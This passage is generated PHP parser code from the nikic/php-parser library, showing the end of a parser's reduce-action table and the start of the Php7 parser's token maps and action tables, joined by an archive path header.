$this->endAttributes); }, 444 => function ($stackPos) { $this->semValue = $this->parseDocString($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes, $this->startAttributeStack[$stackPos-(3-3)] + $this->endAttributeStack[$stackPos-(3-3)], false); }, 445 => function ($stackPos) { $this->semValue = $this->parseDocString($this->semStack[$stackPos-(2-1)], '', $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes, $this->startAttributeStack[$stackPos-(2-2)] + $this->endAttributeStack[$stackPos-(2-2)], false); }, 446 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 447 => function ($stackPos) { $this->semValue = new Expr\ClassConstFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 448 => function ($stackPos) { $this->semValue = new Expr\ConstFetch($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 449 => function ($stackPos) { $this->semValue = new Expr\Array_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 450 => function ($stackPos) { $this->semValue = new Expr\Array_($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 451 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 452 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BooleanOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 453 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BooleanAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 454 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 455 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 456 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\LogicalXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 457 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseOr($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 458 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 459 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseAnd($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 460 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\BitwiseXor($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 461 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Concat($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 462 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Plus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 463 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Minus($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 464 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Mul($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 465 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Div($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 466 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Mod($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 467 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\ShiftLeft($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 468 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\ShiftRight($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 469 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Pow($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 470 => function ($stackPos) { $this->semValue = new Expr\UnaryPlus($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 471 => function ($stackPos) { $this->semValue = new Expr\UnaryMinus($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 472 => function ($stackPos) { $this->semValue = new Expr\BooleanNot($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 473 => function ($stackPos) { $this->semValue = new Expr\BitwiseNot($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 474 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Identical($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 475 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\NotIdentical($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 476 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Equal($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 477 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\NotEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 478 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Smaller($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 479 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\SmallerOrEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 480 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\Greater($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 481 => function ($stackPos) { $this->semValue = new Expr\BinaryOp\GreaterOrEqual($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 482 => function ($stackPos) { $this->semValue = new Expr\Ternary($this->semStack[$stackPos-(5-1)], $this->semStack[$stackPos-(5-3)], $this->semStack[$stackPos-(5-5)], $this->startAttributeStack[$stackPos-(5-1)] + $this->endAttributes); }, 483 => function ($stackPos) { $this->semValue = new Expr\Ternary($this->semStack[$stackPos-(4-1)], null, $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 484 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 485 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 486 => function ($stackPos) { $this->semValue = new Expr\ConstFetch($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 487 => function ($stackPos) { $this->semValue = new Expr\ClassConstFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 488 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 489 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 490 => function ($stackPos) { $attrs = $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes; $attrs['kind'] = Scalar\String_::KIND_DOUBLE_QUOTED; foreach ($this->semStack[$stackPos-(3-2)] as $s) { if ($s instanceof Node\Scalar\EncapsedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '"', true); } }; $this->semValue = new Scalar\Encapsed($this->semStack[$stackPos-(3-2)], $attrs); }, 491 => function ($stackPos) { $this->semValue = $this->parseDocString($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-2)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes, $this->startAttributeStack[$stackPos-(3-3)] + $this->endAttributeStack[$stackPos-(3-3)], true); }, 492 => function ($stackPos) { $this->semValue = array(); }, 493 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 494 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 495 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, 496 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 497 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 498 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(3-3)], $this->semStack[$stackPos-(3-1)], false, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 499 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(1-1)], null, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 500 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 501 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 502 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 503 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 504 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-5)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 505 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 506 => function ($stackPos) { $this->semValue = new Expr\PropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 507 => function ($stackPos) { $this->semValue = new Expr\MethodCall($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 508 => function ($stackPos) { $this->semValue = new Expr\FuncCall($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 509 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 510 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 511 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 512 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 513 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 514 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(2-2)], $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 515 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 516 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 517 => function ($stackPos) { $this->semValue = new Expr\StaticPropertyFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-4)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 518 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 519 => function ($stackPos) { $var = substr($this->semStack[$stackPos-(1-1)], 1); $this->semValue = \is_string($var) ? new Node\VarLikeIdentifier($var, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes) : $var; }, 520 => function ($stackPos) { $this->semValue = new Expr\StaticPropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 521 => function ($stackPos) { $this->semValue = new Expr\StaticPropertyFetch($this->semStack[$stackPos-(6-1)], $this->semStack[$stackPos-(6-5)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 522 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 523 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 524 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 525 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 526 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 527 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 528 => function ($stackPos) { $this->semValue = null; }, 529 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 530 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 531 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 532 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 533 => function ($stackPos) { $this->semValue = new Expr\Error($this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); $this->errorState = 2; }, 534 => function ($stackPos) { $this->semValue = new Expr\List_($this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 535 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 536 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 537 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(1-1)], null, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 538 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(1-1)], null, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 539 => function ($stackPos) { $this->semValue = null; }, 540 => function ($stackPos) { $this->semValue = array(); }, 541 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 542 => function ($stackPos) { $this->semStack[$stackPos-(3-1)][] = $this->semStack[$stackPos-(3-3)]; $this->semValue = $this->semStack[$stackPos-(3-1)]; }, 543 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 544 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(3-3)], $this->semStack[$stackPos-(3-1)], false, $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 545 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(1-1)], null, false, $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 546 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(4-4)], $this->semStack[$stackPos-(4-1)], true, $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 547 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(2-2)], null, true, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 548 => function ($stackPos) { $this->semValue = new Expr\ArrayItem($this->semStack[$stackPos-(2-2)], null, false, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes, true, $this->startAttributeStack[$stackPos-(2-1)] + $this->endAttributes); }, 549 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 550 => function ($stackPos) { $this->semStack[$stackPos-(2-1)][] = $this->semStack[$stackPos-(2-2)]; $this->semValue = $this->semStack[$stackPos-(2-1)]; }, 551 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(1-1)]); }, 552 => function ($stackPos) { $this->semValue = array($this->semStack[$stackPos-(2-1)], $this->semStack[$stackPos-(2-2)]); }, 553 => function ($stackPos) { $this->semValue = new Scalar\EncapsedStringPart($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 554 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 555 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, 556 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(4-1)], $this->semStack[$stackPos-(4-3)], $this->startAttributeStack[$stackPos-(4-1)] + $this->endAttributes); }, 557 => function ($stackPos) { $this->semValue = new Expr\PropertyFetch($this->semStack[$stackPos-(3-1)], $this->semStack[$stackPos-(3-3)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 558 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 559 => function ($stackPos) { $this->semValue = new Expr\Variable($this->semStack[$stackPos-(3-2)], $this->startAttributeStack[$stackPos-(3-1)] + $this->endAttributes); }, 560 => function ($stackPos) { $this->semValue = new Expr\ArrayDimFetch($this->semStack[$stackPos-(6-2)], $this->semStack[$stackPos-(6-4)], $this->startAttributeStack[$stackPos-(6-1)] + $this->endAttributes); }, 561 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(3-2)]; }, 562 => function ($stackPos) { $this->semValue = new Scalar\String_($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 563 => function ($stackPos) { $this->semValue = $this->parseNumString($this->semStack[$stackPos-(1-1)], $this->startAttributeStack[$stackPos-(1-1)] + $this->endAttributes); }, 564 => function ($stackPos) { $this->semValue = $this->semStack[$stackPos-(1-1)]; }, ]; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Parser/Php7.php000064400000516423147577714370021577 0ustar00'", "T_IS_GREATER_OR_EQUAL", "T_SL", "T_SR", "'+'", "'-'", "'.'", "'*'", "'/'", "'%'", "'!'", "T_INSTANCEOF", "'~'", "T_INC", "T_DEC", "T_INT_CAST", "T_DOUBLE_CAST", "T_STRING_CAST", "T_ARRAY_CAST", "T_OBJECT_CAST", "T_BOOL_CAST", "T_UNSET_CAST", "'@'", "T_POW", "'['", "T_NEW", "T_CLONE", "T_EXIT", "T_IF", "T_ELSEIF", "T_ELSE", "T_ENDIF", "T_LNUMBER", "T_DNUMBER", "T_STRING", "T_STRING_VARNAME", "T_VARIABLE", "T_NUM_STRING", "T_INLINE_HTML", "T_ENCAPSED_AND_WHITESPACE", "T_CONSTANT_ENCAPSED_STRING", "T_ECHO", "T_DO", "T_WHILE", "T_ENDWHILE", "T_FOR", "T_ENDFOR", "T_FOREACH", "T_ENDFOREACH", "T_DECLARE", "T_ENDDECLARE", "T_AS", "T_SWITCH", "T_MATCH", "T_ENDSWITCH", "T_CASE", "T_DEFAULT", "T_BREAK", "T_CONTINUE", "T_GOTO", "T_FUNCTION", "T_FN", "T_CONST", "T_RETURN", "T_TRY", "T_CATCH", "T_FINALLY", "T_USE", "T_INSTEADOF", "T_GLOBAL", "T_STATIC", "T_ABSTRACT", "T_FINAL", "T_PRIVATE", "T_PROTECTED", "T_PUBLIC", "T_READONLY", "T_VAR", "T_UNSET", "T_ISSET", "T_EMPTY", "T_HALT_COMPILER", "T_CLASS", "T_TRAIT", "T_INTERFACE", "T_ENUM", "T_EXTENDS", "T_IMPLEMENTS", "T_OBJECT_OPERATOR", "T_NULLSAFE_OBJECT_OPERATOR", "T_LIST", "T_ARRAY", "T_CALLABLE", "T_CLASS_C", "T_TRAIT_C", "T_METHOD_C", "T_FUNC_C", "T_LINE", "T_FILE", "T_START_HEREDOC", "T_END_HEREDOC", "T_DOLLAR_OPEN_CURLY_BRACES", "T_CURLY_OPEN", "T_PAAMAYIM_NEKUDOTAYIM", "T_NAMESPACE", "T_NS_C", "T_DIR", "T_NS_SEPARATOR", "T_ELLIPSIS", "T_NAME_FULLY_QUALIFIED", "T_NAME_QUALIFIED", "T_NAME_RELATIVE", "T_ATTRIBUTE", "';'", "']'", "'{'", "'}'", "'('", "')'", "'`'", "'\"'", "'$'" ); protected $tokenToSymbol = array( 0, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 56, 166, 168, 167, 55, 168, 168, 163, 164, 53, 50, 8, 51, 52, 54, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 31, 159, 44, 16, 46, 30, 68, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 70, 168, 160, 36, 168, 165, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 161, 35, 162, 58, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14, 15, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 32, 33, 34, 37, 38, 39, 40, 41, 42, 43, 45, 47, 48, 49, 57, 59, 60, 61, 62, 63, 64, 65, 66, 67, 69, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158 ); protected $action = array( 132, 133, 134, 569, 135, 136, 0, 722, 723, 724, 137, 37, 834, 911, 835, 469,-32766,-32766,-32766,-32767, -32767,-32767,-32767, 101, 102, 103, 104, 105, 1068, 1069, 1070, 1067, 1066, 1065, 1071, 716, 715,-32766,-32766,-32766, -32766,-32766,-32766,-32766,-32766,-32766,-32767,-32767,-32767,-32767, -32767, 545, 546,-32766,-32766, 725,-32766,-32766,-32766, 998, 999, 806, 922, 447, 448, 449, 370, 371, 2, 267, 138, 396, 729, 730, 731, 732, 414,-32766, 420,-32766, -32766,-32766,-32766,-32766, 990, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 763, 570, 764, 765, 766, 767, 755, 756, 336, 337, 758, 759, 744, 745, 746, 748, 749, 750, 346, 790, 791, 792, 793, 794, 795, 751, 752, 571, 572, 784, 775, 773, 774, 787, 770, 771, 283, 420, 573, 574, 769, 575, 576, 577, 578, 579, 580, 598, -575, 470, 14, 798, 772, 581, 582, -575, 139,-32766,-32766,-32766, 132, 133, 134, 569, 135, 136, 1017, 722, 723, 724, 137, 37, 1060,-32766, -32766,-32766, 1303, 696,-32766, 1304,-32766,-32766,-32766,-32766, -32766,-32766,-32766, 1068, 1069, 1070, 1067, 1066, 1065, 1071, -32766, 716, 715, 372, 371, 1258,-32766,-32766,-32766, -572, 106, 107, 108, 414, 270, 891, -572, 240, 1193, 1192, 1194, 725,-32766,-32766,-32766, 1046, 109,-32766,-32766,-32766, -32766, 986, 985, 984, 987, 267, 138, 396, 729, 730, 731, 732, 12,-32766, 420,-32766,-32766,-32766,-32766, 998, 999, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 763, 570, 764, 765, 766, 767, 755, 756, 336, 337, 758, 759, 744, 745, 746, 748, 749, 750, 346, 790, 791, 792, 793, 794, 795, 751, 752, 571, 572, 784, 775, 773, 774, 787, 770, 771, 881, 321, 573, 574, 769, 575, 576, 577, 578, 579, 580,-32766, 82, 83, 84, -575, 772, 581, 582, -575, 148, 747, 717, 718, 719, 720, 721, 1278, 722, 723, 724, 760, 761, 36, 1277, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 996, 270, 150, -32766,-32766,-32766, 455, 456, 81, 34, -264, -572, 1016, 109, 320, -572, 893, 725, 682, 803, 128, 998, 999, 592,-32766, 1044,-32766,-32766,-32766, 809, 151, 726, 727, 728, 729, 730, 731, 732, -88, 1198, 796, 278, -526, 283,-32766,-32766,-32766, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 763, 786, 764, 765, 766, 767, 755, 756, 757, 785, 758, 759, 744, 745, 746, 748, 749, 750, 789, 790, 791, 792, 793, 794, 795, 751, 752, 753, 754, 784, 775, 773, 774, 787, 770, 771, 144, 804, 762, 768, 769, 776, 777, 779, 778, 780, 781, -314, -526, -526, -193, -192, 772, 783, 782, 49, 50, 51, 500, 52, 53, 239, 807, -526, -86, 54, 55, -111, 56, 996, 253,-32766, -111, 800, -111, -526, 541, -532, -352, 300, -352, 304, -111, -111, -111, -111, -111, -111, -111, -111, 998, 999, 998, 999, 153, -32766,-32766,-32766, 1191, 807, 126, 306, 1293, 57, 58, 103, 104, 105, -111, 59, 1218, 60, 246, 247, 61, 62, 63, 64, 65, 66, 67, 68, -525, 27, 268, 69, 436, 501, -328, 808, -86, 1224, 1225, 502, 1189, 807, 1198, 1230, 293, 1222, 41, 24, 503, 74, 504, 953, 505, 320, 506, 802, 154, 507, 508, 279, 684, 280, 43, 44, 437, 367, 366, 891, 45, 509, 35, 249, -16, -566, 358, 332, 318, -566, 1198, 1193, 1192, 1194, -527, 510, 511, 512, 333, -524, 1274, 48, 716, 715, -525, -525, 334, 513, 514, 807, 1212, 1213, 1214, 1215, 1209, 1210, 292, 360, 284, -525, 285, -314, 1216, 1211, -193, -192, 1193, 1192, 1194, 293, 891, -525, 364, -531, 70, 807, 316, 317, 320, 31, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, -153, -153, -153, 638, 25, -527, -527, 687, 379, 881, -524, -524, 296, 297, 891, -153, 432, -153, 807, -153, -527, -153, 716, 715, 433, -524, 798, 363, -111, 1105, 1107, 365, -527, 434, 891, 140, 435, -524, 954, 127, -524, 320, -111, -111, 688, 813, 381, -529, 11, 834, 155, 835, 867, -111, -111, -111, -111, 47, 293,-32766, 881, 654, 655, 74, 